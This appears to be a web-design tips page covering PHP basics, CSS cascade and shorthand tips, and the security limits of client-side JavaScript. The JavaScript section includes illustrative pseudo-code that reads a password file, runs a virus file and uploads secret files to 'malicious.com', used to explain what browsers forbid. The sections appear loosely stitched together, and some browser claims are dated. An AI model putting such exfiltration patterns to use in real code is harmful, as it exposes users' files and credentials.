Tryangled Solutions web designing tips tricks

PHP and MySQL combine to be an easy yet powerful way to create dynamic web pages that actually interact with your visitors. HTML can create useful and well formatted web pages. With the addition of PHP and MySQL you can collect data from your users, create specific content on the fly, and do many other things that HTML alone can’t do.

The beauty of PHP as a language is that it is designed to be used along with HTML. You can use PHP right inside your already existing HTML content, or put HTML tags right inside your PHP coding. When learning PHP you are not making your existing HTML knowledge obsolete, you are instead adding to it to give it more functions and abilities.

The cascade lets you use multiple rules to specify the properties for an element. You can either redefine the same property or define additional properties. Let’s say you have the following markup:

1. <p class=”update”>Update: Lorem ipsum dolor set</p>

In the CSS, you can use separate rules to specify the properties that are common to all p elements and those that are specific to p elements with class=”update”:

1. p {
2. margin:1em 0;
3. font-size:1em;
4. color:#333;
5. }
6. .update {
7. font-weight:bold;
8. color:#600;
9. }

The two rules will be combined for p elements with class=”update”. Since a class selector is more specific than a type selector, the properties defined in the second rule will be used when a conflict occurs, as for color in this case.

More info on how the specificity of CSS rules is calculated can be found in Calculating a selector’s specificity in the CSS 2.1 specification.

The values of many properties are inherited by any descendants of the element that you specify the property for. color and the font related properties are the most common examples of such properties.

Be aware that some properties may be overridden by browser specific user agent style sheets, i.e. the browser’s defaults. That’s why you can’t make all headings non bold with the following rule:

1. body { font-weight:normal; }

The browser’s predefined rules are more specific because of the cascade, which is described next.

You can often eliminate the need to specify a value for a property by taking advantage of that property’s default value. This is especially important to consider when you use shorthand properties, since any unset properties are assigned the default values of the corresponding individual property.

Some common default values are 0 for padding (though there are exceptions to this), and transparent for background-color.

Since there are slight differences in the default values between browsers, some people like doing a Global white space reset by zeroing both margin and padding for all elements at the top of their stylesheets:

1. * {
2. margin:0;
3. padding:0;
4. }

When writing selectors that target an element with a certain class or id value, you can omit the element type before the . (class selector) or # (id selector).

So, instead of writing

1. div#content { /* declarations */ }
2. fieldset.details { /* declarations */ }

you can write

1. #content { /* declarations */ }
2. .details { /* declarations */ }

and save a few bytes for each selector.

This is especially useful for id selectors since they must be unique in a document, which reduces the risk of rules conflicting with each other. class names on the other hand can be used any number of times in a document, and different element types can be assigned the same class name (or names). To style element types with the same class name differently you will need to specify the element types in the selector.

Be aware that the above rules are not identical. If you write one rule with and one rule without the element type in the selector, the rule that uses the element type will have higher specificity.

This tip is in the shorthand article mentioned earlier, but I use it so much I’ll repeat it here: in CSS, when you use hexadecimal colour notation and a colour is made up of three pairs of hexadecimal digits, you can write it in a more efficient way by omitting every second digit:

#000 is the same as #000000, #369 is the same as #336699.

And remember that octothorpe (#) before the colour code.

Another colour related tip is that you can specify web safe colours by using only digits that are multiples of 3 for the red, green, and blue values: 0, 3, 6, 9, C, and F. #99c is a web safe colour, #98c is not.

When CSS is used with XHTML, element names in selectors are case sensitive. To avoid getting caught by this I recommend always using lowercase for element names in CSS selectors.

Values of the class and id attributes are case sensitive in both HTML and XHTML, so avoid mixed case for class and id names. If for some reason you do use mixed case, make doubly sure to match the case in your CSS with that in the markup.

Not specifying a unit for length values is a very common mistake among CSS beginners. In HTML you can get away with that, but in CSS all length values must have a unit. There are two exceptions: line-height and 0 (zero) values. Note that the value must be immediately followed by the unit – do not insert a space between them.

There is no need to specify a unit for 0 (zero) values because zero pixels equals zero centimeters equals zero of any other length unit. Despite this it’s very common to see something like padding:0px where padding:0 would do.

While there’s nothing wrong with specifying a unit when the value is 0, it’s a waste of space and – at least to me – looks untidy.

To save space and make your CSS files easier to read I recommend using shorthand syntax to declare several properties in a single declaration. How the available shorthand properties are used is described in my article Efficient CSS with shorthand properties, so I’m referring you to that instead of going into any details here.

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);

2. JavaScript cannot execute any other programs. This would also be unacceptable

execute(’horridvirus.exe’)

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).

document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.